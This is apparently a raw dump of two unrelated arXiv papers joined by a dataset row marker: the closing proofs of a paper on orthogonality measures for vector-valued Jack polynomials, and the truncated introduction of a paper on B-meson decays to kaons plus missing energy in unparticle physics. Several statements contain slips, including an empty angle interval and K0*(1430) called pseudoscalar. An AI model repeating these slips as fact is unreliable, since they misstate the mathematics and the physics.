$\Omega_{\delta}$ and $\sigma\alpha_{n}(x(u,0)) \sigma=(-1) ^{n}\alpha_{n}(x(u,0))$. Also $\alpha_{0}(x(u,0)) $ is invertible. As in Section~\ref{locps} def\/ine $C_{1}:=CL_{1}(x_{0}) ^{-1}$ so that $L_{1}(x) ^{\ast}C_{1}^{\ast}C_{1}L_{1}(x) =L(x) ^{\ast}HL(x) $ on their common domain, and set $H_{1}=C_{1}^{\ast}C_{1}$. It suf\/f\/ices to use the approximation $\sum\limits_{n=0}^{\infty}\alpha_{n}(x(u,0))z^{n}=\alpha_{0}(x(u,0)) +O (\vert z \vert)$, uniformly in $\Omega_{2\pi/3N}$.
Let
\begin{gather*}
\eta^{(1) }(x,\theta,\varepsilon) :=\big(x_{1},\ldots,x_{N-2},e^{\mathrm{i}\theta},e^{\mathrm{i}(\theta+\varepsilon)}\big),\\
\eta^{(2) }(x,\theta,\varepsilon) :=\big(x_{1},\ldots,x_{N-2},e^{\mathrm{i}(\theta-\varepsilon)},e^{\mathrm{i}\theta}\big),\\
\eta^{(3) }(x,\theta,\varepsilon) :=\big(x_{1},\ldots,x_{N-2},e^{\mathrm{i}\theta},e^{\mathrm{i}(\theta-\varepsilon)}\big)
\end{gather*}
with $\eta^{(1) },\eta^{(2) }\in\Omega_{\delta}\cap\mathcal{C}_{0}$ and $\eta^{(3) }=\eta^{(2)}(N-1,N) $. Set $\zeta=e^{\mathrm{i}\varepsilon}$. Then
\begin{gather*}
\eta^{(1) } =x( u_{1}-z_{1},u_{1}+z_{1}), \qquad u_{1}=\frac{1}{2}e^{\mathrm{i}\theta} ( 1+\zeta ) , \qquad z_{1}=\frac
{1}{2}e^{\mathrm{i}\theta}(\zeta-1) ,\\
\eta^{(2) } =x ( u_{2}-z_{2},u_{2}+z_{2} ), \qquad u_{2}=\frac{1}{2}e^{\mathrm{i}\theta}\big( 1+\zeta^{-1}\big), \qquad z_{2}=\frac{1}{2}e^{\mathrm{i}\theta}\big( 1-\zeta^{-1}\big) =\zeta^{-1}z_{1}.
\end{gather*}
The invariance properties of $K$ imply $K\big( \eta^{(3) }\big) =\sigma K\big(\eta^{(2)}\big) \sigma$. Then
\begin{gather*}
K\big(\eta^{(1)}\big) =\alpha_{0} ( x (u_{1},0 ) ) ^{\ast}\rho\big( z_{1}^{-\kappa},z_{1}^{\kappa }\big) ^{\ast}H_{1}\rho\big( z_{1}^{-\kappa},z_{1}^{\kappa}\big) \alpha_{0}( x(u_{1},0)) +O\big( \vert z_{1} \vert ^{1-2\vert \kappa\vert }\big) ,\\
\sigma K\big(\eta^{(2)}\big) \sigma =\alpha_{0} (x(u_{2},0) ) ^{\ast}\rho\big( z_{2}^{-\kappa},z_{2}^{\kappa}\big) ^{\ast}\sigma H_{1}\sigma\rho\big( z_{2}^{-\kappa},z_{2}^{\kappa}\big) \alpha_{0}(x(u_{2},0)) +O\big( \vert z_{2} \vert ^{1-2\vert \kappa\vert}\big),
\end{gather*}
because $\sigma\alpha_{0}(x(u,0)) \sigma =\alpha_{0}(x(u,0)) $ and $\sigma=\rho(-1,1) $ commutes with $\rho( z_{2}^{-\kappa},z_{2}^{\kappa}) $. To express $K\big(\eta^{(1)}\big) -\sigma K\big(\eta^{(2)}\big) \sigma$ let
\begin{gather*}
A_{1}=\rho\big( z_{1}^{-\kappa},z_{1}^{\kappa}\big)^{\ast}H_{1}\rho\big(z_{1}^{-\kappa},z_{1}^{\kappa}\big)=O\big(\vert z_{1}\vert^{-2\vert \kappa\vert}\big),\\
A_{2} =\rho\big( z_{2}^{-\kappa},z_{2}^{\kappa}\big) ^{\ast}\sigma H_{1}\sigma\rho\big( z_{2}^{-\kappa},z_{2}^{\kappa}\big) =O\big(\vert z_{2}\vert^{-2\vert \kappa\vert }\big),
\end{gather*}
then
\begin{gather*}
K\big(\eta^{(1)}\big) -\sigma K\big( \eta^{(2) }\big) \sigma\\
\qquad{} =\alpha_{0} ( x(u_{1},0) ) ^{\ast}A_{1}\alpha_{0}( x(u_{1},0)) -\alpha_{0}(x(u_{2},0)) ^{\ast}A_{2}\alpha_{0}(x(u_{2},0)) +O\big(\vert z_{1}\vert ^{1-2\vert \kappa\vert}\big) .
\end{gather*}
Also $u_{2}-u_{1}=\frac{1}{2}x_{N-1}\xi_{1}\big( \zeta^{-1}-\zeta\big) =O(\vert z_{1}\vert) $ (since $\vert z_{1} \vert = \vert 1-\zeta \vert $) thus $\alpha_{0} ( x(u_{1},0) ) -\alpha_{0}( x(u_{2},0)) =O( \vert z_{1}\vert) $ and
\begin{gather*}
K\big(\eta^{(1)}\big) -\sigma K\big( \eta^{(2)}\big) \sigma=\alpha_{0} ( x(u_{1},0) ) ^{\ast}( A_{1}-A_{2}) \alpha_{0}( x(u_{1},0)) +O\big(\vert z_{1}\vert ^{1-2\vert \kappa \vert }\big) .
\end{gather*}
Using the $\sigma$-decomposition write
\begin{gather*}
H_{1}:=%
\begin{bmatrix}
H_{11} & H_{12}\\
H_{12}{}^{\ast} & H_{11}%
\end{bmatrix}
,
\end{gather*}
then
\begin{gather*}
A_{1}-A_{2} =
\begin{bmatrix}
H_{11}\vert z_{1}\vert ^{-2\kappa} & H_{12}\left( \dfrac{z_{1}%
}{\overline{z_{1}}}\right) ^{\kappa}\\
H_{12}{}^{\ast}\left( \dfrac{z_{1}}{\overline{z_{1}}}\right) ^{-\kappa} &
H_{11}\vert z_{1}\vert ^{2\kappa}%
\end{bmatrix}
-
\begin{bmatrix}
H_{11}\vert z_{2}\vert ^{-2\kappa} & -H_{12}\left( \dfrac{z_{2}%
}{\overline{z_{2}}}\right) ^{\kappa}\\
-H_{12}{}^{\ast}\left( \dfrac{z_{2}}{\overline{z_{2}}}\right) ^{-\kappa} &
H_{11}\vert z_{2}\vert ^{2\kappa}%
\end{bmatrix}
\\
\hphantom{A_{1}-A_{2}}{} =
\begin{bmatrix}
O & H_{12}\left\{ \left( \dfrac{z_{1}}{\overline{z_{1}}}\right) ^{\kappa
}+\left( \dfrac{z_{2}}{\overline{z_{2}}}\right) ^{\kappa}\right\} \\
H_{12}{}^{\ast}\left\{ \left( \dfrac{z_{1}}{\overline{z_{1}}}\right)
^{-\kappa}+\left( \dfrac{z_{2}}{\overline{z_{2}}}\right) ^{-\kappa}\right\}
& O
\end{bmatrix},
\end{gather*}
because $ \vert z_{2} \vert = \vert z_{1} \vert $. Next
\begin{gather*}
\frac{z_{1}}{\overline{z_{1}}} =e^{2\mathrm{i}\theta}\frac{e^{\mathrm{i}\varepsilon}-1}{e^{-\mathrm{i}\varepsilon}-1}=-e^{\mathrm{i} (
2\theta+\varepsilon ) },\qquad \frac{z_{2}}{\overline{z_{2}}}=e^{2\mathrm{i}\theta}\frac{1-e^{-\mathrm{i}\varepsilon}}{1-e^{\mathrm{i}\varepsilon}
}=-e^{\mathrm{i} ( 2\theta-\varepsilon ) },\\
\left( \frac{z_{1}}{\overline{z_{1}}}\right) ^{\kappa}+\left( \frac{z_{2}}{\overline{z_{2}}}\right) ^{\kappa} =\big( {-}e^{2\mathrm{i}\theta
}\big) ^{\kappa}\big\{ e^{\mathrm{i}\varepsilon\kappa}+e^{-\mathrm{i}\varepsilon\kappa}\big\} =2\big({-}e^{2\mathrm{i}\theta}\big) ^{\kappa
}\cos\varepsilon\kappa,
\end{gather*}
where some branch of the power function is used (the interval where it is applied is a small arc of the unit circle), and $\phi_{0}-\delta_{1}<\theta<\phi_{0}-\delta_{1}$.
We show that $H_{12}=O$, equivalently $H_{1}$ commutes with $\sigma$. By way of contradiction suppose some entry $h_{ij}\neq0$ ($1\leq i\leq m_{\tau}<j\leq
n_{\tau}$). There exist $r>0$, $\delta_{1}\geq\delta_{2}>0$ and $c\in \mathbb{C}$ with $\vert c\vert =1$ such that
\begin{gather*}
\operatorname{Re}\big( 2c\big( {-}e^{2\mathrm{i}\theta}\big) ^{\kappa}h_{ij}\big) >r
\end{gather*}
for $\phi_{0}-\delta_{2}\leq\theta\leq\phi_{0}+\delta_{2}$. Let $p (x) \in C^{(1) }\big( \mathbb{T}^{N}\big) $ such that $\operatorname{spt}(p) \subset\Omega_{\delta_{2}/2}$, $0\leq p (x) \leq1$ and $p(x) =1$ for $x\in\Omega_{\delta_{2}/4}$. Let $f(x) =p(x) \alpha_{0}( x(u,0))^{-1}\varepsilon_{i}$ and $g(x) =cp ( x) \alpha_{0}(x(u,0)) ^{-1}\varepsilon _{j}$ (for $x\in\Omega_{\delta_{2}/2}$). Also impose the bound $0<\varepsilon <\frac{\delta_{2}}{4}$. Then
\begin{gather*}
f\big(\eta^{(1)}\big) ^{\ast}K\big( \eta^{(1) }\big) g\big(\eta^{(1)}\big) =p\big(\eta^{(1) }\big) ^{2}c\left( \frac{z_{1}}{\overline{z_{1}}
}\right) ^{\kappa}h_{ij}+O\big( \vert z_{1}\vert ^{1-2 \vert \kappa \vert }\big), \\
f\big( \eta^{(3) }\big) ^{\ast}\sigma K\big(\eta^{(2) }\big) \sigma g\big( \eta^{(3)}\big) =-p\big( \eta^{(3) }\big) ^{2}c\left(
\frac{z_{2}}{\overline{z_{2}}}\right) ^{\kappa}h_{ij}+O\big( \vert z_{2} \vert ^{1-2\vert \kappa\vert }\big) ,
\end{gather*}
Suppose $x=\big( e^{\mathrm{i}\theta_{1}},\ldots,e^{\mathrm{i}\theta_{N}}\big) \in\Omega_{\delta_{2}/2}$ then $p(x) =1$ for
$\phi_{N-1}-\frac{\delta_{2}}{4}\leq\theta_{N-1},\theta_{N}\leq\phi _{N-1}-\frac{\delta_{2}}{4}$, thus $p\big( \eta^{(1) } (x,\theta,\varepsilon) \big) =1$ for $\phi_{0}-\frac{\delta_{2}}{4}\leq\theta\leq\phi_{0}-\frac{\delta_{2}}{4}-\varepsilon$ and $p\big( \eta^{(3) }(x,\theta,\varepsilon) \big) =1$ for
$\phi_{0}-\frac{\delta_{2}}{4}+\varepsilon\leq\theta\leq\phi_{0}-\frac {\delta_{2}}{4}$. By the continuous dif\/ferentiability it follows that for
$\phi_{0}-\frac{\delta_{2}}{4}\leq\theta\leq\phi_{0}-\frac{\delta_{2}}{4}$ both $p\big(\eta^{(1)}\big) =1+O( \varepsilon) $ and $p\big( \eta^{(3) }\big) =1+O(\varepsilon)$. Thus
\begin{gather*}
p\big(\eta^{(1)}\big) f\big( \eta^{(1)}\big) ^{\ast}K\big(\eta^{(1)}\big) g\big(\eta^{(1)}\big) p\big(\eta^{(1)}\big)
-p\big( \eta^{(3) }\big) f\big(\eta^{(3)}\big) ^{\ast}\sigma K\big(\eta^{(2)}\big) \sigma g\big( \eta^{(3) }\big) p\big(\eta^{(3)}\big) \\
\qquad {} =p\big(\eta^{(1)}\big) ^{2}c\left\{ \left(
\frac{z_{1}}{\overline{z_{1}}}\right) ^{\kappa}+\left( \frac{z_{2}}{\overline{z_{2}}}\right) ^{\kappa}\right\} h_{ij}+O\big(\vert z_{1}\vert ^{1-2\vert \kappa\vert }\big) +O(\varepsilon) .
\end{gather*}
By construction
\begin{gather*}
\operatorname{Re}\left( c\left\{ \left( \frac{z_{1}}{\overline{z_{1}}}\right) ^{\kappa}+\left( \frac{z_{2}}{\overline{z_{2}}}\right) ^{\kappa
}\right\} h_{ij}\right) >r\cos\varepsilon\kappa,
\end{gather*}
multiply the inequality by $p\big( \big( e^{\mathrm{i}\theta_{1}},\ldots,e^{\mathrm{i}\theta_{N-1}},e^{\mathrm{i}\theta_{N-1}}\big) \big)^{2}$ and integrate over the $(N-1) $-box $\Omega_{\delta_{2}}^{\prime}$ with respect to $\mathrm{d}m_{N-1}=\big( \frac{1}{2\pi}\big) ^{N-1}\mathrm{d}\theta_{1}\cdots\mathrm{d}\theta_{N-1}$. This integral dominates the integral over~$\Omega_{\delta_{2}/4}^{\prime}$, thus
\begin{gather*}
\operatorname{Re}\int_{\Omega_{\delta_{2}}^{\prime}}p\big( \eta^{(1) }\big) ^{2}c\left\{ \left( \frac{z_{1}}{\overline{z_{1}}%
}\right) ^{\kappa}+\left( \frac{z_{2}}{\overline{z_{2}}}\right) ^{\kappa}\right\} h_{ij}\mathrm{d}m_{N-1}\geq r\cos\varepsilon\kappa\left(\frac{\delta_{2}}{2\pi}\right) ^{N-1}.
\end{gather*}
This contradicts the limit of the integral being zero as $\varepsilon\rightarrow0$. The ignored parts of the integral are $O\big( \varepsilon
^{1-2\vert \kappa\vert }\big) $ and $ \vert \kappa \vert <\frac{1}{2}$. We have proven the following:
\begin{Theorem}\label{H1comm}For $-1/h_{\tau}<\kappa<1/h_{\tau}$ the matrix $H_{1}= (L_{1}^{\ast}(x_{0})) ^{-1}HL_{1}(x_{0})^{-1}$ commutes with~$\sigma$.
\end{Theorem}
\section{Analytic matrix arguments}\label{anlcmat}
In this section we set up some tools from linear algebra dealing with matrices whose entries are analytic functions of one variable. The aim is to establish the existence of an analytic solution for the matrices described in Theorem~\ref{H1comm}. The key fact is that the solution $L_{1}(x;\kappa)$ of~(\ref{Lsys}) is analytic in~$\kappa$ for $\vert \kappa\vert <\frac{1}{2}$, in fact for $\kappa\in\mathbb{C}\backslash ( \mathbb{Z}+\frac{1}{2})$; the series expansion in~(\ref{Lzseries}) does not apply to $\kappa\in\mathbb{Z}+\frac{1}{2}$ and a logarithmic term has to be included for this case. Set $b_{N}:= ( 2 ( N^{2}-N+2 )) ^{-1}$, the bound from Section~\ref{suffco}. One would like use analytic continuation to extend the inner product property of $L^{\ast}HL$ from the interval $-b_{N}<\kappa<b_{N}$ to $-1/h_{\tau}<\kappa<1/h_{\tau}$ but the Bochner theorem argument for the existence of $\mu$ does not allow~$\kappa$ to be a complex variable. The following arguments work around this obstacle.
\begin{Theorem}\label{Matrixeq}Suppose $M(\kappa) $ is an $m\times n$ complex matrix with $m\geq n-1$ such that the entries are analytic in $\kappa\in
D_{r}:= \{ \kappa\in\mathbb{C}\colon \vert \kappa\vert <r \}$, some $r>0$ and $\operatorname{rank}(M(\kappa)) =n-1$ for a~real interval $-r_{1}<\kappa<r_{1}$ then $\operatorname{rank}( M (\kappa)) =n-1$ for all $\kappa\in D_{r}$ except possibly at isolated points~$\lambda$ where $\operatorname{rank} ( M(\lambda)) <n-1$, and there is a nonzero vector function $v (\kappa) $, analytic on $D_{r}$ such that $M(\kappa)v(\kappa) =0$ and $v(\kappa) $ is unique up to
multiplication by a scalar function.
\end{Theorem}
\begin{proof} Let $M^{\prime}(\kappa) $ be any $n\times n$ submatrix of~$M(\kappa) $ (when $m\geq n$), that is, $M^{\prime}$ is composed of~$n$ rows of $M(\kappa) $, then $\det M^{\prime} (\kappa) $ is analytic for $\kappa\in D_{r}$ and by hypothesis $\det M^{\prime}(\kappa) =0$ for $-r_{1}<\kappa<r_{1}$. This implies $\det M^{\prime}(\kappa) \equiv0$ for all $\kappa$, by analyticity. Thus $\operatorname{rank}(M(\kappa)) \leq n-1$ for all $\kappa\in D_{r}$. For each subset $J= \{ j_{1},\ldots,j_{n-1} \} $ with $1\leq j_{1}<\cdots<j_{n-1}\leq m$ let $M_{J,k}(\kappa) $ be the $(n-1) \times(n-1) $ submatrix of $M(\kappa) $ consisting of rows $\#$ $j_{1},\ldots,j_{n-1}$ and deleting column $\#k$, and $X_{J} (\kappa) :=[ \det M_{J,1}(\kappa) ,\ldots,\det M_{J,n}(\kappa)] $, an $n$-vector of analytic functions. There exists at least one set $J$ for which $X_{J}(0) \neq [ 0,\ldots,0 ] $ otherwise $\operatorname{rank} ( M (0)) <n-1$. By continuity there exists $\delta>0$ such that at least one $\det M_{J,k}(\kappa) \neq0$ for $ \vert \kappa \vert <\delta$ and $v(\kappa) = \big[(-1)^{k-1}\det M_{J,k}(\kappa) \big] _{k=1}^{n}$ is a~nonzero vector in the null-space of~$M(\kappa)$ (by Cramer's rule and the rank hypothesis). The analytic equation $M(\kappa) v(\kappa) =0$ holds in a neighborhood of $\kappa=0$ and thus for all of~$D_{r}$. If~\smash{$v(\kappa) =0$} for isolated points $\kappa_{1},\ldots,\kappa_{\ell}$ in $\vert \kappa\vert \leq r_{2}<r$ then $v(\kappa) $ can be multiplied by $\prod \limits_{j=1}^{\ell}\big( 1-\frac{\kappa}{\kappa_{j}}\big) ^{-a_{j}}$ for suitable positive integers $a_{1},\ldots,a_{\ell}$ to produce a~solution never zero in $\vert \kappa\vert \leq r_{2}<r$. (It may be possible that there are inf\/initely many zeros in the open set~$D_{r}$.)
\end{proof}
We include the parameter in the notations for $L$ and $L_{1}$. The $\ast$ operation replaces $x_{j}$ by $x_{j}^{-1}$, the constants by their conjugates, and transposing, but $\kappa$ is unchanged to preserve the analytic dependence, see Def\/inition~\ref{defadj}. For $x\in\mathbb{T}_{\rm reg}^{N}$ and real $\kappa$ the Hermitian adjoint of $L_{1} (x_{0};\kappa) $) agrees with $L_{1}(x_{0};\kappa) ^{\ast}$. The matrix $M(\kappa) $ is implicitly def\/ined by the linear
system with the unknown $B_{1}$
\begin{gather}
B_{1} =\sigma B_{1}\sigma,\nonumber\\
\upsilon L_{1}^{\ast}(x_{0};\kappa) B_{1}L_{1} (x_{0};\kappa ) =L_{1}^{\ast}(x_{0};\kappa) B_{1}L_{1}(x_{0};\kappa) \upsilon.\label{Mkeqn}
\end{gather}
(Recall $\upsilon=\tau(w_{0}) $.) The entries of $M (\kappa) $ are analytic in $\vert \kappa\vert <\frac{1}{2}$. The equation $B_{1}=\sigma B_{1}\sigma$ implies that $B_{1}$ has $n:=m_{\tau}^{2}+ ( n_{\tau}-m_{\tau} ) ^{2}$ possible nonzero entries, by the $\sigma$-block decomposition. The number of equations $m= n_{\tau}^{2}-\dim \{ A\colon A\upsilon=\upsilon A \} $. Because $w_{0}$ and $(N-1,N) $ generate~$\mathcal{S}_{N}$ and~$\tau$ is irreducible $A\sigma=\sigma A$ and $A\upsilon=\upsilon A$ imply $A=cI$ for $c\in \mathbb{C}$ by Schur's lemma. This implies $n\geq m-1$ (else there are two linearly independent solutions). By a result of Stembridge \cite[Section~3]{Stembridge1989} $n$ can be computed from the following: (recall $\omega:= \exp\frac{2\pi\mathrm{i}}{N}$) for $0\leq j\leq N-1$ set~$e_{j}$ equal to the multiplicity of $\omega^{j}$ in the list of the $n_{\tau}$ eigenvalues of $\upsilon$ and set $F_{\tau}(q) :=q^{e_{0}}+q^{e_{1}}+\dots+q^{e_{N-1}}$ then
\begin{gather*}
F_{\tau}(q) =\left\{ q^{n(\tau) }\prod_{i=1}^{N}\big( 1-q^{i}\big) \prod_{(i,j) \in\tau}\big(1-q^{h(i,j) }\big) ^{-1}\right\} \operatorname{mod}\big(1-q^{N}\big),
\end{gather*}
where $n(\tau) :=\sum\limits_{i=1}^{\ell(\tau) }(i-1) \tau_{i}$ and $h(i,j) $ is the hook length at $(i,j) $ in the diagram of $\tau$ (note $F_{\tau} (1) =n_{\tau}$). Thus $\dim \{ A\colon A\upsilon=\upsilon A \} =\sum\limits_{j=0}^{N-1}e_{j}^{2}$. For example let $\tau=(4,2) $ then $n_{\tau}=9$, $m_{\tau}=3$ and $n=45$ while $F_{\tau}(q) =2+q+2q^{2}+q^{3}+2q^{4}+q^{5}$ and $\dim \{ A\colon A\upsilon=\upsilon A\} =15$, $m=66$.
\begin{Theorem}
For $-1/h_{\tau}<\kappa<1/h_{\tau}$ there exists a unique Hermitian matrix $H$ such that $\mathrm{d}\mu=L^{\ast}HL\mathrm{d}m$. Also $( L_{1}(x_{0}) ^{\ast}) ^{-1}HL_{1}(x_{0}) ^{-1}$ commutes with $\sigma$.
\end{Theorem}
\begin{proof}
For any Hermitian $n_{\tau}\times n_{\tau}$ matrix $B$ def\/ine the Hermitian form
\begin{gather*}
\langle f,g\rangle _{B}:=\int_{\mathbb{T}^{N}}f(x)^{\ast}L(x) ^{\ast}BL(x) g(x)\mathrm{d}m(x)
\end{gather*}
for $f,g\in C^{(1) }\big( \mathbb{T}^{N};V_{\tau}\big) $. If the form satisf\/ies $\langle wf,wg\rangle _{B}=\langle f,g \rangle _{B}$ for all $w\in\mathcal{S}_{N}$ and $ \langle x_{i}\mathcal{D}_{i}f,g\rangle _{B}$ $= \langle f,x_{i}\mathcal{D}_{i}g \rangle _{B}$ for $1\leq i\leq N$ then $B$ is determined up to multiplication by a constant. This follows from the density of the span of the nonsymmetric Jack (Laurent) polynomials in $C^{(1) }\big(\mathbb{T}^{N};V_{\tau}\big)$. By Theorem~\ref{H1comm} there exists a~nontrivial solution of the system~(\ref{Mkeqn}) for $-1/h_{\tau}<\kappa<1/h_{\tau}$. Thus $\operatorname{rank}M(\kappa) \leq n-1$ in this interval. Now suppose that $B_{1}$ is a nontrivial solution of~(\ref{Mkeqn}) for some $\kappa$ such that $-b_{N}<\kappa<b_{N}$. Then both $B^{(1) }:=B_{1}+B_{1}^{\ast}$ and $B^{(2) }:=\mathrm{i}(B_{1}-B_{1}^{\ast}) $ are also solutions (by the invariance of~(\ref{Mkeqn}) under the adjoint operation). Let $H^{(i) }:=L_{1}^{\ast}(x_{0};\kappa) B^{(i)}L_{1}(x_{0};\kappa) $ for $i=1,2$ then by Theorem~\ref{suffctH} the forms $\langle \cdot,\cdot\rangle _{H^{(1) }}$ and $\langle \cdot,\cdot\rangle _{H^{(2) }}$ satisfy the above uniqueness condition. Hence either $B_{1}$ is Hermitian or $B^{(1) }=rB^{(2) }$ for some $r\neq0$ which implies $B_{1}=\frac{1}{2}(r-\mathrm{i}) B^{(2) }$, that is, $B_{1}$ is a scalar multiple of a Hermitian matrix. Thus there is a~unique (up to scalar multiplication) solution of~(\ref{Mkeqn}) which implies $\operatorname{rank}M(\kappa) \geq n-1$ in $-b_{N}<\kappa<b_{N}$.
Hence the hypotheses of Theorem~\ref{Matrixeq} are satisf\/ied, and there exists a nontrivial solution $B_{1}(\kappa) $ which is analytic in $\vert \kappa\vert <\frac{1}{2}$. Since the Hermitian form is positive def\/inite for $-1/h_{\tau}<\kappa<1/h_{\tau}$ we can use the fact that $B_{1}(\kappa) $ is a multiple of a positive-def\/inite matrix when $\kappa$ is real (in fact, of the matrix $H_{1}$ arising from $\mu$ as in Section~\ref{orthmu}) and its trace is nonzero (at least on a complex neighborhood of $\{ \kappa\colon -1/h_{\tau}<\kappa<1/h_{\tau}\} $ by continuity). Set $B_{1}^{\prime}(\kappa) :=\Big( n_{t}/\sum\limits_{i=1}^{n_{\tau}}B_{1}(\kappa) _{ii}\Big) B_{1}(\kappa) $, analytic and $\operatorname{tr}( B_{1}^{\prime}(\kappa)) =1$ thus the normalization produces a unique analytic (and Hermitian for real~$\kappa$) matrix in the null-space of~$M(\kappa) $. Let $H(\kappa) =L_{1}(x_{0};\kappa) ^{\ast}B_{1}(\kappa) L_{1}(x_{0};\kappa) $ then for f\/ixed $f,g\in C^{(1) }\big(\mathbb{T}^{N};V_{\tau}\big) $ and $1\leq i\leq N$
\begin{gather*}
\int_{\mathbb{T}^{N}}\left\{
\begin{matrix}
( x_{i}\mathcal{D}_{i}f(x) ) ^{\ast}L^{\ast}(x;\kappa) H(\kappa) L(x;\kappa) g(x) \\
-f(x) ^{\ast}L^{\ast}(x;\kappa) H(\kappa) L(x;\kappa) x_{i}\mathcal{D}_{i}g(x)
\end{matrix}\right\} \mathrm{d}m(x)
\end{gather*}
is an analytic function of $\kappa$ which vanishes for $-b_{N}<\kappa<b_{N}$ hence for all $\kappa$ in $-1/h_{\tau}<\kappa<1/h_{\tau}$; this condition is required for integrability. This completes the proof.
\end{proof}
By very complicated means we have shown that the torus Hermitian form for the vector-valued Jack polynomials is given by the measure $L^{\ast}HL\mathrm{d}m$. The orthogonality measure we constructed in~\cite{Dunkl2016} is absolutely continuous with respect to the Haar measure. We conjecture that $L^{\ast} ( x;\kappa) H(\kappa) L(x;\kappa)$ is integrable for $-1/\tau_{1}<\kappa<1/\ell(\tau) $ but $H(\kappa)$ is not positive outside $\vert \kappa \vert <1/h_{\tau}$ (the length of $\tau$ is $\ell(\tau) :=\max\{ i\colon \tau_{i}\geq1\}$). In as yet unpublished work we have found explicit formulas for $L^{\ast}HL$ for the two-dimensional representations $(2,1)$ and $(2,2) $ of $\mathcal{S}_{3}$ and $\mathcal{S}_{4}$ respectively, using hypergeometric functions. It would be interesting to f\/ind the normalization constant, that is, determine the scalar multiple of $H(\kappa) $ which results in $\langle 1\otimes T,1\otimes T \rangle _{H(\kappa)}= \langle T,T \rangle _{0}$ (see~(\ref{admforms})) the ``initial condition'' for the form. In \cite[Theorem~4.17(3)]{Dunkl2016} there is an inf\/inite series for $H(\kappa)$ but it involves all the Fourier coef\/f\/icients of~$\mu$.
\subsection*{Acknowledgement}
Some of these results were presented at the conference ``Dunkl operators, special functions and harmonic analysis'' held at Universit\"{a}t Paderborn, Germany, August 8--12, 2016.
\addcontentsline{toc}{section}{References}
|
1,477,468,750,055 | arxiv | \section{ Introduction}
Flavor changing neutral current (FCNC) processes induced by $b\rightarrow s$
transitions are not allowed at tree level in the Standard Model (SM), but
are generated at loop level and are further suppressed by the CKM factors.
Therefore, these decays are very sensitive to the physics beyond the SM via
the influence of new particles in the loop. Though the branching ratios of
FCNC\ decays are small in the SM, quite interesting results are obtained
from the experiments both for the inclusive $B\rightarrow X_{s}\ell ^{+}\ell
^{-}$ \cite{1} and exclusive decay modes $B\rightarrow K\ell ^{+}\ell ^{-}$ %
\cite{2, 3, 4} and $B\rightarrow K^{\ast }\ell ^{+}\ell ^{-}$ \cite{5}.
These results are in good agreement with the theoretical estimates \cite{6,
7, 8}.
Among different semileptonic decays induced by \thinspace $b\rightarrow s$ \
transitions, $b\rightarrow s\nu \bar{\nu}$ decays are of particular
interest, because of the absence of a photonic penguin contribution and
hadronic long distance effects these have much smaller theoretical
uncertainties. But experimentally, it is too difficult to measure the
inclusive decay modes $B\rightarrow X_{s}\nu \bar{\nu}$ as one has to sum on
all the $X_{s}$'s. Therefore, the exclusive $B\rightarrow K\left( K^{\ast
}\right) \nu \bar{\nu}$ decays play a peculiar role both from the
experimental and theoretical point of view. The theoretical estimates of the
branching ratio of these decays are $Br\left( B\rightarrow K\nu \bar{\nu}%
\sim 10^{-5}\right) $ and $Br\left( B\rightarrow K^{\ast }\nu \bar{\nu}\sim
10^{-6}\right) $ \cite{9} whereas, the experimental bounds given by the $B$%
-factories, BELLE and BaBar, on these decays are \cite{10, 11}:
\begin{eqnarray}
Br\left( B\rightarrow K\nu \bar{\nu}\right) &<&1.4\times 10^{-5}
\label{exp-limits} \\
Br\left( B\rightarrow K^{\ast }\nu \bar{\nu}\right) &<&1.4\times 10^{-4}.
\notag
\end{eqnarray}%
These processes, based on $b\rightarrow s\nu \bar{\nu},$ are very sensitive
to the new physics and have been studied extensively in the literature in
the context of large extra dimension model and $Z^{\prime }$ models \cite%
{12, 13}. Any new physics model which can provide a relatively light new
source of missing energy (which is attributed to the neutrinos in the SM)
can potentially enhance the observed rates of $B\rightarrow K\left( K^{\ast
}\right) +$ missing energy. Recently, H. Georgi has proposed one such model
of Unparticles, which is one of the tantalizing issues these days \cite{14}.
The main idea of Georgi's model is that at a very high energy our theory
contains the fields of the standard model and the fields of a theory with a
nontrivial\ IR fixed point, which he called BZ (Banks-Zaks) fields \cite{15}%
. The interaction among the two sets is through the exchange of particles
with a large mass scale $M_{\mathcal{U}}$. The coupling between the SM
fields and BZ fields are nonrenormalizable below this scale and are
suppressed by the powers of $M_{\mathcal{U}}$. The renormalizable couplings
of the BZ fields then produce dimensional transmutation and the scale
invariant unparticle emerged below an energy scale $\Lambda _{\mathcal{U}}$.
In the effective theory below the scale $\Lambda _{\mathcal{U}}$ the BZ
operators matched onto unparticle operators, and the renormalizable
interaction matched onto a new set of interactions between standard model
and unparticle fields. The outcome of this model is the collection of
unparticle stuff with scale dimension $d_{\mathcal{U}}$, which is just like
a non-integral number of invisible massless particles, whose production
might be detectable in missing energy and momentum distributions \cite{16}.
This idea promoted a lot of interest in unparticle physics and its
signatures have been discussed at colliders \cite{16, 17, 17a, 18, 18a}, in
low energy physics \cite{19}, Lepton Flavor Violation \cite{20}, unparticle
physics effects in $B_{s}$ mixing \cite{20a}, and also in cosmology and
astrophysics \cite{21}. Aliev et al. have studied $B\rightarrow K\left(
K^{\ast }\right) +$ missing energy in unparticle physics \cite{22} in which
they have studied the effects of an unparticle $\mathcal{U}$ as a possible
source of a missing energy in these decays. They have found the dependence
of the differential branching ratio on the $K\left( K^{\ast }\right) $%
-meson's energy in the presence of scalar and vector unparticle operators
and then using the upper bounds on these decays, they put stringent
constraints on the parameters of the unparticle stuff.
The studies are even more complete if similar studies for the p-wave
decays of $B$ meson such as $B\rightarrow K_{0}^{\ast }\left(
1430\right) +\not\!\!{E}$
($\not\!\!{E}$ is missing energy) and $B\rightarrow K_{1}\left( 1270\right) +\not\!\!%
{E}$, where $K_{0}^{\ast }\left( 1430\right) $ \ and $K_{1}\left(
1270\right) $ are the pseudoscalar and axial vector mesons
respectively, carried out. In this paper, we have studied these
p-wave decays of $B$ meson in unparticle physics using the frame
work of Aliev et al. \cite{22}. We have considered the decay
$B\rightarrow K_{0}^{\ast }\left( K_{1}\right) \nu \bar{\nu}$ in SM
although for these modes no signals have been observed so for, but
in future B-factories where enough data is expected, these decays
will be observed. These SuperB factories will be measuring these
processes by analyzing the spectra of the final state hadron. In
doing this measurement a cut for high momentum on the hadron is
imposed, in order to suppress the background. Therefore, unparticle
would give us a unique distribution for the high energy hadron in
the final state, such that in future B-factories one will be able to
distinguish the presence of unparticle by observing the spectrum of
final state hadrons in $B\rightarrow \left( K,\ K^{\ast
},~K_{0}^{\ast },~K_{1}\right) +\not\!\!{E}$ \cite{22}.
The work is organized as follows: In section II after giving the expression
for the effective Hamiltonian for the decay $b\rightarrow s\nu \bar{\nu}$,
we define the scalar and vector unparticle physics operators for $%
